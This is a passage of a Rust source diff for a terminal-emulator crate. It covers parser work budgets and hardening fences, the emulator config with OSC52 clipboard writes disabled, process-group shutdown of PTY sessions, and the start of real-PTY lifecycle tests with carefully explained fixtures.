// default 10k depth -- and it is genuinely indivisible, so it is stated
// rather than smoothed. CBT, once terminated at its fixed point, is
// `columns` and never competes.
//
// Saturating, and widened to u64 *before* multiplying. `Size` fields are
// unclamped `usize` with no caller bounding them, so the products here
// are reachable overflows: in debug that is a panic in the accounting
// path, and in release it wraps to a small number, which understates the
// bound -- an overflow that reports the parser as cheap is the worst of
// the three outcomes.
let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64);
let both_grids = columns.saturating_mul(lines).saturating_mul(2);
let history = scrollback.saturating_mul(columns);
both_grids.saturating_add(history).max(columns)
}
/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do.
///
/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being
/// exact about which is which, because I got this wrong first and the
/// fixtures caught it:
///
/// * The budget is checked *between* slices, so a drain overshoots by up to
/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that
/// under one budget wherever its derivation is unclamped.
/// * A callback already running cannot be preempted. RIS at the default 10k
/// scrollback is worth 16x the whole budget on its own, so on such a grid
/// the floor binds and the overshoot is a few of those atoms. No scheduler
/// outside the parser can fix that -- what it can do is *report* it, which
/// is why this is a function callers can read rather than an assumption
/// they inherit.
pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every
// slice against the *remaining* budget, so it cannot start a slice able
// to hold more work than is left. What it cannot do is preempt a callback
// that has begun, which is where this term comes from.
WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback))
}
/// Max bytes that may sit unparsed before the reader must stop reading the
/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold.
pub const TAIL_CAP: usize = 4 << 20;
/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so
/// the reader does not flap between full and one-byte-below-full.
pub const TAIL_RESUME: usize = 1 << 20;
/// Which fences are active. Both on in production.
///
/// The mutation law requires exercising each fence with the other **disabled**,
/// because F1's abort releases the sync buffer in small pieces and thereby
/// masks a miscounting F2. This is deliberately a runtime value and not a cargo
/// feature: a fence that can be compiled out is one more way for a gate to pass
/// green over code that never ran.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Fences {
/// F1: abort a synchronized update at [`SYNC_CAP`].
pub sync_abort: bool,
/// F2: rebuild the parser at [`OSC_BUDGET`].
pub osc_budget: bool,
}
impl Default for Fences {
fn default() -> Self {
Self {
sync_abort: true,
osc_budget: true,
}
}
}
impl Fences {
/// Production configuration: both fences enforced.
pub const ALL: Self = Self {
sync_abort: true,
osc_budget: true,
};
/// F2 alone — the arm that can observe F2's counting, unmasked by F1.
pub const OSC_ONLY: Self = Self {
sync_abort: false,
osc_budget: true,
};
/// F1 alone.
pub const SYNC_ONLY: Self = Self {
sync_abort: true,
osc_budget: false,
};
/// Neither — the unfenced control that shows what upstream does alone.
pub const NONE: Self = Self {
sync_abort: false,
osc_budget: false,
};
}
/// Per-run fence observations. Every field is what some gate asserts on.
///
/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2
/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes
/// (omitting flush routes, or charging raw input) still resets — only the
/// charge total distinguishes those. One counter cannot see both mutations.
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
pub struct FenceStats {
/// F1 aborts performed.
pub sync_aborts: u64,
/// Largest number of bytes released to the parser by a single flush,
/// whether via an F1 abort or a legitimate end-of-update. This is the
/// quantity that bounds one lock hold.
pub max_release: usize,
/// F2 parser rebuilds performed.
pub osc_resets: u64,
/// Parser-visible bytes charged against the F2 budget, cumulative across
/// resets. Includes every flush route, not just directly-advanced input.
pub charged_bytes: u64,
/// Parser units completed: one per `Handler` callback dispatched, which is
/// one per fully-parsed escape sequence or printed character.
///
/// Separate from `charged_bytes` because they answer different questions
/// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite
/// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory;
/// units are the proxy for time. See [`crate::units`].
pub completed_units: u64,
/// Cost-weighted work completed, in cell-equivalents: an O(cells) callback
/// charges `columns * lines`, an O(1) callback charges 1.
///
/// Deliberately a second number rather than a replacement for
/// `completed_units`. They answer different questions -- "how many things
/// happened" versus "how much did they cost" -- and a stream of `ESC#8`
/// makes them disagree by four orders of magnitude, which is the entire
/// reason this fence exists.
pub completed_work: u64,
/// Deepest the unparsed tail has been, in bytes. The high-water mark
/// rather than the current depth, because the current depth is zero again
/// by the time a test looks at it.
pub max_pending: usize,
/// Times the tail was at or over [`TAIL_CAP`] at the end of a drain.
///
/// Loud on purpose. Reaching the cap means the reader kept reading past
/// the point it was told to stop, so the queue bound is being held by
/// nothing; a silent cap would make that indistinguishable from a reader
/// that is obeying.
pub tail_breaches: u64,
/// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`].
/// Non-zero anywhere but session close is a bug that ate output.
pub abandoned_bytes: u64,
}
impl FenceStats {
/// Clear all counters. Diagnostics are per-run; a gate that reads a
/// counter accumulated across runs is asserting on the wrong thing.
pub fn reset(&mut self) {
*self = Self::default();
}
}
@@ -0,0 +1,290 @@
//! Terminal engine for the Buzz substrate.
//!
//! Owns the emulator: grid state, the parser, the two hardening fences, and
//! the damage encoding the renderer consumes. It does **not** own the PTY, the
//! child process, or the transport — those are the embedder's, so this crate
//! stays testable against byte fixtures with no process and no window.
pub mod context;
pub mod damage;
pub mod env_fence;
pub mod fences;
pub mod lifecycle;
pub mod listener;
pub mod path;
pub mod reader;
pub mod shared;
pub mod shell;
pub mod units;
#[cfg(test)]
mod context_tests;
// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check`
// builds these two -- and they drive real PTYs, `libc::kill`, and unix
// permission bits, which do not exist there. Gating the *modules* rather than
// their contents keeps the unix-only shape honest: the code under test is
// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against.
// `context_tests` is pure string logic and stays portable.
#[cfg(all(test, unix))]
mod env_fence_tests;
#[cfg(all(test, unix))]
mod lifecycle_tests;
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::term::{Config, Osc52, Term};
use alacritty_terminal::vte::ansi::CursorStyle;
pub use fences::{FenceStats, Fences};
pub use listener::{Action, Listener};
pub use shared::{AcquireMeter, AcquireStats, SharedTerminal};
/// Which grid a frame or a resize refers to.
///
/// Generation and dimensions travel together as one value because they answer
/// one question -- "is this the grid I am currently showing?" -- and a consumer
/// that compares them field by field can compare two of the three and be wrong
/// on a resize that changes only the one it skipped.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Viewport {
/// Advances on every *applied* resize. A same-size resize is inert and
/// does not advance it, so an unchanged `ResizeObserver` tick cannot look
/// like a discontinuity.
pub generation: u64,
pub columns: usize,
pub screen_lines: usize,
}
/// Terminal dimensions in cells, plus how much scrollback to retain.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Size {
pub columns: usize,
pub screen_lines: usize,
pub scrollback: usize,
}
impl Default for Size {
fn default() -> Self {
Self {
columns: 80,
screen_lines: 24,
scrollback: 10_000,
}
}
}
impl Dimensions for Size {
fn total_lines(&self) -> usize {
self.screen_lines + self.scrollback
}
fn screen_lines(&self) -> usize {
self.screen_lines
}
fn columns(&self) -> usize {
self.columns
}
}
/// Build the emulator config.
///
/// Written as an explicit literal rather than `..Default::default()` so that
/// every security-relevant field is stated here and an upstream default change
/// cannot alter our posture silently. In particular `osc52` defaults to
/// `OnlyCopy` upstream, which would let terminal output write the user's
/// clipboard; we disable it outright.
pub fn config(size: Size) -> Config {
Config {
scrolling_history: size.scrollback,
default_cursor_style: CursorStyle::default(),
vi_mode_cursor_style: None,
semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"),
kitty_keyboard: false,
osc52: Osc52::Disabled,
}
}
/// A terminal: emulator state plus the fenced parser that drives it.
pub struct Terminal {
term: Term<Listener>,
feeder: reader::Feeder,
size: Size,
generation: u64,
}
impl Terminal {
pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver<Action>) {
let (listener, actions) = Listener::new();
let term = Term::new(config(size), &size, listener);
(
Self {
term,
feeder: reader::Feeder::new(
fences,
size.columns,
size.screen_lines,
size.scrollback,
),
size,
generation: 0,
},
actions,
)
}
/// Feed PTY output through the fences into the emulator.
///
/// Parses what one work budget affords and returns with the rest held as
/// a pending tail, so one call cannot hold the terminal for an unbounded
/// time. **The caller must pump [`Terminal::drain`] until it returns
/// false**, releasing the lock between calls; that is the whole point --
/// the tail exists to give the renderer a chance at the lock, not to defer
/// work indefinitely. [`Terminal::pending_bytes`] and
/// [`Terminal::tail_full`] tell the reader when to stop reading the PTY.
pub fn feed(&mut self, bytes: &[u8]) -> bool {
self.feeder.feed(&mut self.term, bytes)
}
/// Parse more of the pending tail. Returns whether any remains.
pub fn drain(&mut self) -> bool {
self.feeder.drain(&mut self.term);
self.feeder.pending_bytes() > 0
}
/// Feed and parse to completion, without the intervening lock releases.
///
/// For tests and for callers with no renderer contending -- it reinstates
/// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it
/// is deliberately a separate name rather than a flag on `feed`.
pub fn feed_fully(&mut self, bytes: &[u8]) {
self.feed(bytes);
while self.drain() {}
}
/// Bytes accepted but not yet parsed.
pub fn pending_bytes(&self) -> usize {
self.feeder.pending_bytes()
}
/// Whether the tail is at its cap and the reader must stop reading.
/// See [`reader::Feeder::tail_full`] for why production deliberately has
/// no consumer yet.
///
/// There is no production consumer today, deliberately: the desktop
/// runtime pumps `drain()` to completion after every read, so the tail is
/// empty between iterations. A future reader that defers pumping must
/// consult this signal before accepting more PTY bytes.
pub fn tail_full(&self) -> bool {
self.feeder.tail_full()
}
/// Whether a paused reader may resume.
pub fn tail_drained(&self) -> bool {
self.feeder.tail_drained()
}
/// Discard the unparsed tail. Session close only -- see
/// [`reader::Feeder::abandon_tail`].
pub fn abandon_tail(&mut self) -> usize {
self.feeder.abandon_tail()
}
pub fn stats(&self) -> FenceStats {
self.feeder.stats()
}
pub fn reset_stats(&mut self) {
self.feeder.reset_stats();
}
pub fn size(&self) -> Size {
self.size
}
/// The grid as it stands now. Stamped onto each [`damage::Frame`] so a
/// consumer can tell that a frame describes a *different* grid than the one
/// it last drew, without having to infer it from message ordering.
pub fn viewport(&self) -> Viewport {
Viewport {
generation: self.generation,
columns: self.size.columns,
screen_lines: self.size.screen_lines,
}
}
/// Apply a new viewport.
///
/// Takes one target size, never a stream of them: resize is superlinear in
/// scrollback (2.5-4.7 ms per single column change at 10k history, and 40
/// sequential 1-column steps cost 7.4x their coalesced equivalent), and it
/// runs while holding the terminal. Coalescing is the caller's job; this
/// function's job is to make the result observable.
///
/// A resize forces a full damage frame -- upstream's `TermDamageState`
/// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what
/// keeps the encoder's per-line hashes from suppressing reflowed content.
/// The generation bump is belt-and-braces on top of that: it lets the
/// consumer *verify* it received the discontinuity rather than assume it.
///
/// Returns the viewport that is now in effect, which is not necessarily the
/// one requested: a same-size call is inert and returns the current
/// generation unchanged. Returning it here rather than making the caller
/// ask afterwards matters across a transport -- a follow-up query races the
/// next resize, so the answer could describe a grid that had already been
/// replaced by the time it was read.
pub fn resize(&mut self, size: Size) -> Viewport {
if size == self.size {
return self.viewport();
}
self.term.resize(size);
self.feeder.resize(size);
self.size = size;
self.generation += 1;
self.viewport()
}
/// Move the viewport through scrollback. **Positive moves *into* history.**
///
/// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a
/// second convention in the middle of the stack is a bug waiting for the
/// one caller who reads the wrong doc comment. The DOM has the opposite
/// sense, and the embedder converts once, at the command boundary.
///
/// Returns whether the viewport actually moved. Both ends of history clamp
/// silently upstream, and a caller that repaints on every request would
/// repaint for the whole tail of a momentum gesture after it had already
/// hit the top. Every scroll that *does* move is a full repaint, because
/// `Term::scroll_display` marks the grid fully damaged.
pub fn scroll(&mut self, lines: i32) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines))
}
/// Return the viewport to the live edge. Returns whether it moved.
///
/// Output alone does not do this: once scrolled back, the grid pins the
/// viewport and lets new lines accumulate above it
/// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the
/// embedder ties it to user input.
pub fn scroll_to_bottom(&mut self) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Bottom)
}
/// How far the viewport sits above the live edge, in lines.
pub fn display_offset(&self) -> usize {
self.term.grid().display_offset()
}
fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool {
let before = self.display_offset();
self.term.scroll_display(scroll);
self.display_offset() != before
}
pub fn term(&self) -> &Term<Listener> {
&self.term
}
pub fn term_mut(&mut self) -> &mut Term<Listener> {
&mut self.term
}
}
@@ -0,0 +1,267 @@
//! Child-process lifecycle for spawned PTY sessions.
//!
//! Closing a terminal tab must actually end the work the tab was doing. That
//! is harder than calling `kill`, for two reasons that both come from the
//! child being a *session leader* rather than an ordinary subprocess.
//!
//! **1. The child is not the only process.** `portable-pty` calls `setsid()`
//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process
//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded
//! `sleep` — joins that group or a descendant of it. Signalling the shell's
//! pid alone reaches the shell. A shell that exits without forwarding the
//! signal leaves its children running, reparented to init, holding the pty
//! slave open. That is a leak that survives the window closing.
//!
//! So we signal the **process group** (`kill(-pgid)`), not the pid.
//!
//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for
//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits
//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again
//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild.
//! It is a correct API for "end this process"; ours is "end this session".
//!
//! ## The escalation
//!
//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to
//! the group **whether or not the leader went quietly** -- see `shutdown` for
//! why a polite leader does not imply an empty group.
//! `SIGTERM` first because a shell asked to terminate cleanly will flush its
//! history and let `vim` write its swap file; going straight to `SIGKILL`
//! guarantees no process ever gets that chance. The bounded wait is what makes
//! the escalation real — without it, `SIGKILL` either races the polite path
//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring
//! child immortal).
//!
//! ## What this deliberately does not do
//!
//! A process that has called `setsid()` for *itself* has left our group, and
//! no group signal reaches it. `nohup`, a daemonising build tool, and
//! `tmux`-style servers all do this on purpose. We do not hunt the process
//! tree to find them: walking children to signal them is a race against a
//! moving tree — a pid read and then signalled may be a *different* process by
//! the time the signal lands, and killing a stranger's pid is a far worse bug
//! than leaking a daemon the user deliberately detached. Detaching from the
//! session is the documented way to survive one's terminal, and honouring it
//! is correct behaviour, not a gap.
use std::io;
use std::time::{Duration, Instant};
use portable_pty::Child;
/// How long the group gets to honour `SIGTERM` before `SIGKILL`.
///
/// Long enough for a shell to run its exit trap and for an editor to write a
/// swap file; short enough that closing a tab never feels stuck. Tab close is
/// not synchronous with this wait in the UI, so this is a cleanup deadline,
/// not a frame budget.
pub const TERM_GRACE: Duration = Duration::from_millis(250);
/// Poll interval while waiting for the child to exit.
///
/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a
/// deadline without a second thread, and the whole point of the grace period
/// is that it expires.
const POLL_INTERVAL: Duration = Duration::from_millis(5);
/// How a session ended.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Shutdown {
/// Already gone before we signalled.
AlreadyExited,
/// Exited within [`TERM_GRACE`] of `SIGTERM`.
Terminated,
/// Ignored or outlived `SIGTERM`; the group was killed.
Killed,
}
/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded
/// wait, then `SIGKILL` to the group if anything is still there.
///
/// Reaps the child before returning, so the caller cannot leave a zombie by
/// dropping the handle. Returns which arm ended it, which is what a test can
/// assert on — "did it die" is satisfied by both arms and so distinguishes
/// nothing.
#[cfg(unix)]
pub fn shutdown(child: &mut Box<dyn Child + Send + Sync>) -> io::Result<Shutdown> {
// Reap first. A child that already exited still has a pid slot until it is
// waited for, and that pid is reusable the moment it is released -- so
// signalling without checking is how a cleanup path eventually signals an
// unrelated process. Check before signalling, every time.
if child.try_wait()?.is_some() {
return Ok(Shutdown::AlreadyExited);
}
let Some(pid) = child.process_id() else {
// No pid means nothing to signal; still ensure it is reaped.
child.wait()?;
return Ok(Shutdown::AlreadyExited);
};
let pid = pid as i32;
signal_group(pid, libc::SIGTERM);
let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE);
// Sweep the group unconditionally, *including* when the leader exited
// politely. The leader's exit is not the session's end: anything it
// backgrounded that ignores SIGTERM is still running, still in the group,
// and still holding the pty. Returning `Terminated` at that point reports
// success over a leak.
//
// Ordering with the reap is a safety requirement, not a preference. A
// process group id *is* the leader's pid, and the kernel may recycle that
// pid once the leader is reaped -- at which point `kill(-pid)` names some
// unrelated group. An exited-but-unreaped leader is a zombie, and a zombie
// is still a group member, so the id cannot be reused while we hold it.
// Signal first, reap second, and the window does not exist.
signal_group(pid, libc::SIGKILL);
// SIGKILL cannot be caught, so this terminates. It is still a `wait`
// rather than an assumption: the pid must be reaped, and the exit status
// is only available to whoever reaps it.
child.wait()?;
Ok(if leader_honoured_term {
Shutdown::Terminated
} else {
Shutdown::Killed
})
}
/// Sends `signal` to `pid`'s process group, falling back to the pid alone.
///
/// The fallback matters: `kill(-pgid)` requires the child to *be* a group
/// leader, which it is only because `portable-pty` called `setsid()`. If that
/// ever stops being true, a pid-scoped signal still ends the shell — degraded
/// (grandchildren survive) rather than a silent no-op.
///
/// Errors are deliberately not propagated. Every failure mode here means the
/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`),
/// and in both cases the following `wait` is the authority on what happened.
#[cfg(unix)]
fn signal_group(pid: i32, signal: i32) {
// SAFETY: `kill` with a negative pid targets the process group; both
// arguments are plain integers and the call has no memory effects.
let sent = unsafe { libc::kill(-pid, signal) };
if sent != 0 {
// SAFETY: as above.
unsafe { libc::kill(pid, signal) };
}
}
/// Polls until the leader has exited, or `deadline` passes. Returns whether it
/// exited in time.
///
/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would
/// release the process group id before the sweep above can use it. `WNOWAIT`
/// reads the child's exit state and leaves it waitable, so the zombie stays
/// and keeps the group id reserved for us.
///
/// `waitid`, not `waitpid`, and that is a portability requirement rather than
/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on
/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on
/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a
/// child that has plainly exited. That failure is silent in the shape this
/// function had — an error is indistinguishable from "not exited yet", so the
/// grace period could never be honoured and *every* shutdown escalated to
/// `SIGKILL`, reporting `Killed` for a child that died politely on the first
/// `SIGTERM`. The polite arm was dead code on the platform we develop on.
///
/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so
/// the out-parameter must be zeroed before each call and the *pid*, not the
/// return code, is the answer.
#[cfg(unix)]
fn leader_exited_by(pid: i32, deadline: Instant) -> bool {
loop {
// SAFETY: `info` is a valid, fully-initialised out-pointer for the
// duration of the call. `WNOWAIT` leaves the child waitable, so the
// later `wait` still returns its status.
let exited = unsafe {
let mut info: libc::siginfo_t = std::mem::zeroed();
let rc = libc::waitid(
libc::P_PID,
pid as libc::id_t,
&mut info,
libc::WEXITED | libc::WNOHANG | libc::WNOWAIT,
);
rc == 0 && info.si_pid() == pid
};
if exited {
return true;
}
if Instant::now() >= deadline {
return false;
}
std::thread::sleep(POLL_INTERVAL);
}
}
/// Maximum concurrent terminal sessions.
///
/// Each session costs a pty pair (two fds), a reader thread, and a scrollback
/// grid -- at the default 10k lines x 80 cols that is megabytes of resident
/// memory per tab. The cap exists because tab creation is one keystroke and
/// nothing else bounds it: without a limit, a held-down shortcut exhausts the
/// process fd table, and the first thing to fail is not the terminal but
/// whatever *else* in Buzz next asks for a file descriptor -- the relay
/// socket, a database handle. A resource a UI can allocate in a loop needs a
/// ceiling that fails in its own subsystem.
///
/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`,
/// kept deliberately: it is far above any plausible human tab count and far
/// below the default 256-fd soft limit, so it bounds the runaway case without
/// ever being reachable by hand.
pub const MAX_LIVE_SESSIONS: usize = 20;
/// A reader that is still consuming the PTY master, to be stopped only after
/// the session has been torn down.
///
/// This exists because the correct close order is not the obvious one, and
/// nothing in the type system otherwise prevents the wrong one. Mari's ruling
/// (`62509b91`) is that **the reader outlives child termination and reap**:
///
/// 1. mark the session closing and stop publishing to the UI;
/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*;
/// 3. only then close the master and join the reader.
///
/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it
/// is not a hypothetical: a child blocked writing into a master nobody reads
/// does not die promptly even on `SIGKILL`, because the kernel completes the
/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a
/// `SIGKILL`ed child against an undrained master, versus microseconds when
/// drained. Join the reader first and every tab close pays that, on the arm
/// where the user is already waiting.
pub trait DrainingReader {
/// Detach parser work and enter raw-drain mode before child termination.
fn begin_closing(&self);
/// Wake a reader that remains blocked after the child has been reaped.
fn stop(&self);
/// Releases the reader thread. Called only after [`DrainingReader::stop`].
fn join(self: Box<Self>);
}
/// Ends a session in the order the drain law requires, and returns how it
/// ended.
///
/// The ordering is enforced by ownership rather than by documentation: this
/// function takes the reader **by value**, so a caller cannot have joined it
/// beforehand -- a joined reader has been consumed and cannot be passed here.
/// The only way to use this API is the correct order. A comment saying "do not
/// join the reader first" is advice; a moved value is a compile error.
#[cfg(unix)]
pub fn shutdown_draining(
child: &mut Box<dyn Child + Send + Sync>,
reader: Box<dyn DrainingReader>,
) -> io::Result<Shutdown> {
reader.begin_closing();
// Terminate and reap with the reader still running, so the child never
// blocks in a tty write while we are waiting on it.
let outcome = shutdown(child);
// Unconditional: wake and release the reader whether or not shutdown
// reported an error. EOF may already have ended it; stop is idempotent.
reader.stop();
reader.join();
outcome
}
@@ -0,0 +1,581 @@
//! Lifecycle gates: the session dies, the grandchild dies with it, and the
//! login `argv[0]` the child actually receives is the one we computed.
//!
//! Every test here drives a real PTY and a real process tree. A mock child
//! would let us assert that we *called* `kill`, which is the half we already
//! know; the property under test is what the kernel does with a process group
//! we do not fully control.
use crate::env_fence::fence_env;
use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE};
use crate::path::user_shell_path;
use crate::shell::{login_argv0, resolve_shell};
use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize};
use std::sync::atomic::Ordering;
use std::time::{Duration, Instant};
/// Upper bound on any wait in this file.
///
/// Every wait here is bounded, and that is not caution -- it is the lesson
/// from a probe of an interactive child that read to EOF and hung for 300 s.
/// A PTY master does not reach EOF while any process holds the slave open, so
/// "read until the child is done" is not a terminating program. Bound the
/// read, or poll for the observable effect.
const BOUND: Duration = Duration::from_secs(10);
/// Self-destruct deadline, in seconds, for fixture processes built to ignore
/// signals.
///
/// Comfortably longer than [`BOUND`], so it can never end a process while the
/// test is still observing it -- a watchdog that fires inside the observation
/// window would make a *failing* implementation look correct. Short enough
/// that a crashed run does not leave a core spinning until reboot.
const WATCHDOG: u64 = 60;
fn open_pty() -> PtyPair {
native_pty_system()
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty")
}
/// Drains the PTY master in the background for as long as it stays open.
///
/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in
/// the first version of this file. A PTY has a small kernel buffer, and a
/// child writing into a master nobody reads blocks in `write()` once it fills.
/// A process blocked in an uninterruptible tty write does not die promptly on
/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down
/// the tty session first, so `wait()` sits there while the reap completes.
/// Measured directly with a `forkpty` C probe: with the master undrained, a
/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the
/// product drains its master continuously -- that is what a renderer *is* --
/// so a test that doesn't is modelling a configuration that never ships.
///
/// The consequence is worth stating for the embedder: **shutdown must not be
/// called after the reader has stopped.** Tear the session down while output
/// is still being consumed, or the grace period is spent waiting on a
/// self-inflicted stall.
fn drain(pair: &PtyPair) {
let mut reader = pair.master.try_clone_reader().expect("reader");
std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while matches!(reader.read(&mut buf), Ok(n) if n > 0) {}
});
}
/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced.
fn spawn_script(pair: &PtyPair, script: &str) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg(script);
let child = pair.slave.spawn_command(cmd).expect("spawn");
drain(pair);
child
}
/// True while `pid` exists. `kill(pid, 0)` performs the permission and
/// existence checks without delivering a signal.
fn pid_alive(pid: i32) -> bool {
// SAFETY: signal 0 delivers nothing; both arguments are integers.
unsafe { libc::kill(pid, 0) == 0 }
}
/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did.
///
/// Polling for the observable state rather than sleeping a fixed duration: a
/// sleep long enough to be reliable is slow, and a sleep short enough to be
/// fast is a race that fails on a loaded machine. Both are worse than asking.
fn poll_until(mut f: impl FnMut() -> bool) -> bool {
let deadline = Instant::now() + BOUND;
while Instant::now() < deadline {
if f() {
return true;
}
std::thread::sleep(Duration::from_millis(5));
}
false
}
/// Reads a file until it is non-empty or `BOUND` elapses.
fn read_when_written(path: &std::path::Path) -> Option<String> {
let mut found = None;
poll_until(|| match std::fs::read_to_string(path) {
Ok(text) if !text.trim().is_empty() => {
found = Some(text.trim().to_owned());
true
}
_ => false,
});
found
}
/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it.
///
/// The distinction matters: `Killed` and `Terminated` both leave a dead
/// process, so asserting death alone would pass with `SIGTERM` deleted
/// entirely and the grace period reduced to a delay before `SIGKILL`.
#[test]
fn cooperative_child_exits_on_term_not_kill() {
let pair = open_pty();
let mut child = spawn_script(&pair, "sleep 30");
let pid = child.process_id().expect("pid") as i32;
let outcome = shutdown(&mut child).expect("shutdown");
assert_eq!(
outcome,
Shutdown::Terminated,
"a child that dies on SIGTERM must not have needed SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown");
}
/// A child that ignores `SIGTERM` must still die, and the escalation must be
/// what kills it.
///
/// The fixture shape is load-bearing and my first one was vacuous. I wrote
/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and
/// reported `Terminated` -- the polite arm, on a child built to defeat it.
/// The reason is that `sh` does not ignore a signal on its child's behalf: the
/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell
/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits
/// normally. The trap was real, the ignoring was real, and the process still
/// died on `SIGTERM` -- through a path the test wasn't looking at.
///
/// Had I not checked *which* arm fired, this would have passed for the wrong
/// reason and gone on "proving" an escalation it never exercised. The loop
/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the
/// trap actually governs the shell's own fate and only `SIGKILL` can end it.
///
/// The readiness handshake closes a second, subtler version of the same
/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a
/// command the shell has to reach: a signal delivered in the interval between
/// `exec` and that line finds the default disposition and kills the shell
/// outright. Isolated with a `forkpty` probe -- identical binary, only the
/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms
/// all four died with signal 15. A fixture that is only *probably* armed makes
/// this test a race whose failure mode is a false pass.
///
/// This is the arm that fails if the escalation is deleted -- and the
/// `WATCHDOG` is what makes that a *failure* rather than a hang. With
/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`,
/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only
/// by the harness timing out. A test that detects a bug by never finishing is
/// indistinguishable from a broken test. The deadline converts it into a
/// bounded, reportable failure.
#[test]
fn signal_ignoring_child_is_killed_after_the_grace_period() {
let dir = tempdir("buzz-terminal-trap");
let ready = dir.join("armed");
let pair = open_pty();
// The readiness file is written *after* the trap is installed, so waiting
// on it converts "probably armed by now" into an observed fact.
let mut child = spawn_script(
&pair,
&format!(
"trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \
while :; do sleep 0.1; done",
ready.display()
),
);
let pid = child.process_id().expect("pid") as i32;
assert!(
poll_until(|| ready.exists()),
"child never armed its SIGTERM trap; signalling now would test a \
startup race rather than the escalation"
);
let started = Instant::now();
let outcome = shutdown(&mut child).expect("shutdown");
let elapsed = started.elapsed();
assert_eq!(
outcome,
Shutdown::Killed,
"a SIGTERM-ignoring child must be escalated to SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL");
assert!(
elapsed >= TERM_GRACE,
"shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \
period could have elapsed -- SIGTERM was never given its chance"
);
assert!(
elapsed < BOUND,
"shutdown took {elapsed:?}; the grace period is not bounded"
);
}
/// The property the whole module exists for: a **grandchild** must not outlive
/// the session.
///
/// The fixture is deliberately hostile, and the obvious version of this test
/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 --
/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is
/// that killing a PTY session leader makes the kernel hang up the terminal and
/// `SIGHUP` the whole foreground group, so the grandchild dies either way.
/// Isolated with a `forkpty` probe: with the master held open (no fd-closure
/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone
/// within 200 ms while the shell itself was still unreaped. The tty hangup was
